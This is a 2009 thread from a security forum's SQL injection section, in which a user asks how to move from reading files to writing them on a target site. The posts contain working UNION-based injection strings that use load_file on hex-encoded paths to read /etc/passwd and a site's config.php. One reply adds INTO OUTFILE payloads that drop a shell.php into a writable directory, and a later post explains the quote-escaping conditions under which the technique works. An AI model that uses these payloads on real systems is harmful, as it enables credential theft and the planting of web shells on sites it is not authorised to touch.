|
Menu |
|
|
Home |
| |
|
Discussions |
| |
|
Tools |
| |
|
Affiliates |
| |
|
Content |
| |
|
Info |
| | |
|
|
|
|
|
User Info |
|
Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 51
Members: 0
Total: 51
|
|
|
|
|
|
Full disclosure |
|
|
|
|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
into outfile help !! PLZ |
|
Posted: Wed May 20, 2009 10:30 am |
|
|
cr4ps |
Advanced user |
|
|
Joined: May 06, 2009 |
Posts: 91 |
|
|
|
|
|
|
|
Hi , i want to know how i can using into outfile in this cas , i can read file by load_file , looking plz :
/etc/passwd
Code: | -1/**/UNION/**/select/**/null,load_file(0x2f6574632f706173737764)/**/FROM/**/mysql.user/* |
working
/home/www/www.xxx.com/config.php
Code: | -1/**/UNION/**/select/**/null,load_file(0x2f686f6d652f7777772f7777772e7878782e636f6d2f636f6e6669672e706870)/**/FROM/**/mysql.user/* |
working
So , how i can upload a file with 'INTO OUTFILE' in this cas . [ HEX ] |
|
Last edited by cr4ps on Wed May 20, 2009 5:37 pm; edited 1 time in total |
|
|
|
|
Re: into outfile help !! PLZ |
|
Posted: Wed May 20, 2009 10:36 am |
|
|
crazynou |
Advanced user |
|
|
Joined: Feb 08, 2009 |
Posts: 199 |
Location: AlGeRiA |
|
|
|
|
|
|
cr4ps wrote: | Hi , i want to know how i can using into outfile in this cas , i can read file by load_file , looking plz :
/etc/passwd
Code: | -1/**/UNION/**/select/**/null,load_file(0x2f6574632f706173737764)/**/FROM/**/mysql.user/* |
working
/home/www/www.xxx.com/config.php
Code: | -1/**/UNION/**/select/**/null,load_file(0x2f686f6d652f7777772f7777772e7878782e636f6d2f636f6e6669672e706870)/**/FROM/**/mysql.user/* |
working
So , how i can upload a file with 'INTO OUTFILE' in this cas . [ HEX ]
|
1- find folder 777
-1/**/UNION/**/select/**/null,load_file(0x2f686f6d652f7777772f7777772e7878782e636f6d2f636f6e6669672e706870)/**/FROM/**/into+outfile+'/home/www/www.xxx.com/folder777/shell.php'/*
or
-1/**/UNION/**/select/**/null,0x2f686f6d652f7777772f7777772e7878782e636f6d2f636f6e6669672e706870/**/FROM/**/into+outfile+'/home/www/www.xxx.com/folder777/shell.php'/* |
|
|
|
|
|
|
|
|
Posted: Wed May 20, 2009 10:50 am |
|
|
cr4ps |
Advanced user |
|
|
Joined: May 06, 2009 |
Posts: 91 |
|
|
|
|
|
|
|
It does not > ' <
Code: | -1/**/UNION/**/select/**/null,load_file(0x2f686f6d652f7777772f7777772e7878782e636f6d2f636f6e6669672e706870)/**/FROM/**/into+outfile+%27/tmp/shell.php%27/* |
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'into outfile \'/tmp/shell.php\'/*' at line 1
So ? |
|
Last edited by cr4ps on Wed May 20, 2009 3:39 pm; edited 1 time in total |
|
|
|
Posted: Wed May 20, 2009 12:03 pm |
|
|
didon22 |
Regular user |
|
|
Joined: Sep 01, 2008 |
Posts: 6 |
|
|
|
|
|
|
|
|
|
|
|
Posted: Fri May 22, 2009 12:07 pm |
|
|
cr4ps |
Advanced user |
|
|
Joined: May 06, 2009 |
Posts: 91 |
|
|
|
|
|
|
|
|
|
|
|
Posted: Fri May 22, 2009 8:23 pm |
|
|
0xbadfaceX |
Regular user |
|
|
Joined: Aug 01, 2008 |
Posts: 12 |
Location: .bashrc$> |
|
|
|
|
|
|
cr4ps wrote: | Who Can Help Me ?? :s |
This is just practice when single quotes are not escaped with a backslash(\) using addslashes(), or when magic_quotes_gpc is disabled, INTO OUTFILE() method only works if the single quotes may be passed through. HEX() encoding is not helping with INTO OUTFILE.
/DZ~~ |
|
_________________ ,
|
|
|
|
Posted: Mon May 25, 2009 12:02 pm |
|
|
cr4ps |
Advanced user |
|
|
Joined: May 06, 2009 |
Posts: 91 |
|
|
|
|
|
|
|
WARAXE plz I need your answer |
|
|
|
|
Posted: Mon May 25, 2009 4:32 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|